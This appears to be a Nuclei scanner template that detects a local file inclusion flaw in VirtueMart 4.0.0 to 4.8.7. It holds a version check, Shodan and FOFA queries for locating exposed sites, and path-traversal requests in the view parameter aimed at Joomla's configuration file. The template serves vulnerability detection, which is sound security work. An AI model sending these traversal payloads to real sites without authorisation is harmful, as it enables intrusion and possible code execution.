Description
VirtueMart 4.0.0 through 4.8.7 accepts path separators in the storefront view parameter and includes the resulting PHP file outside its controller directory when that file exists.
VirtueMart 4.0.0 through 4.8.7 accepts path separators in the storefront view parameter and includes the resulting PHP file outside its controller directory when that file exists.
id: CVE-2026-133335
info:
name: VirtueMart 4.0.0 - 4.8.7 - Unauthenticated Local File Inclusion
author: theamanrawat
severity: critical
description: |
VirtueMart 4.0.0 through 4.8.7 accepts path separators in the storefront view parameter and includes the resulting PHP file outside its controller directory when that file exists.
impact: |
An unauthenticated attacker can include local PHP files and may achieve remote code execution when a suitable file is present on the server.
remediation: |
Upgrade VirtueMart to 4.8.8 or later, or apply the vendor's current security hotfix, and review the site for signs of compromise.
reference:
- https://virtuemart.net/news/important-security-fix-4-8-10-update-directly-hotfixes-provided
- https://nvd.nist.gov/vuln/detail/CVE-2026-133335
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A
cvss-score: 9.2
cve-id: CVE-2026-133335
epss-score: 0.02612
epss-percentile: 0.8617
cwe-id: CWE-98
metadata:
verified: true
max-request: 3
vendor: virtuemart
product: virtuemart
shodan-query: 'http.html:"com_virtuemart"'
fofa-query: 'body="com_virtuemart"'
tags: cve,cve2026,joomla,virtuemart,lfi,rce,vkev
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/modules/mod_virtuemart_cart/mod_virtuemart_cart.xml"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "<name>mod_virtuemart_cart</name>")'
- 'contains(body, "<authorUrl>https://virtuemart.net</authorUrl>")'
- 'compare_versions(vm_version, ">= 4.0.0", "< 4.8.8")'
condition: and
internal: true
extractors:
- type: regex
name: vm_version
part: body
regex:
- '<version>\s*([0-9]+(?:\.[0-9]+){2})\s*</version>'
group: 1
internal: true
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_virtuemart&view=../../../nonexistent&tmpl=component"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "/components/com_virtuemart/assets/")'
- 'contains(body, "com_virtuemart")'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_virtuemart&view=../../../configuration&tmpl=component"
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains_any(body, "Joomla", "Cannot declare class JConfig")'
condition: and
# digest: 4a0a0047304502210094b361622654e4e81ca67370b5bbba3b4d8bbc55c359ad650cd4c4e2c821934d02205d4eeb700735c8d77cffb5d4823ed44523cfedfa50e8e61227292ac867a4c006:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.